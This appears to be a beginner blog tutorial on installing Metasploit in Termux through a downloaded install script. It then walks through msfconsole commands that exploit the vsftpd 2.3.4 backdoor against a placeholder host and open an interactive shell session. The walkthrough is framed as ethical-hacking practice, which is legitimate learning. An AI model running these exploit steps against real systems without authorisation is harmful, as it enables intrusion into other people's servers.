Metasploit Framework in Termux – Installation & Usage Commands

Metasploit is a powerful tool that helps you check if a system or website is safe or not. It shows weak points where a hacker could attack. People use it to learn and practice ethical hacking in a safe way. You can install Metasploit in Termux and start learning step by step in an easy way.

Installation Commands

Update and upgrade all Termux packages:

pkg update && pkg upgrade

Install required packages:

pkg install git wget curl

Download Metasploit installation script:

wget https://raw.githubusercontent.com/gushmazuko/metasploit_in_termux/master/metasploit.sh

Give execution permission to the script:

chmod +x metasploit.sh

Run the installation script:

./metasploit.sh

Usage Commands

Start Metasploit Framework:

msfconsole

Search for an exploit:

search exploit

Search exploits for a specific service:

search vsftpd

Use a specific exploit module:

use exploit/unix/ftp/vsftpd_234_backdoor

Show all available modules:

show all

Show required options for the exploit:

show options

Set target host (IP address):

set RHOSTS example.com

Set target port:

set RPORT 21

Set payload for the exploit:

set payload cmd/unix/interact

Show available payloads:

show payloads

Run the exploit:

exploit

Run exploit in the background:

exploit -j

View active sessions:

sessions

Interact with a session:

sessions -i 1

Exit Metasploit console:

exit

READ ALSO  Termux Cool Commands

Leave a Comment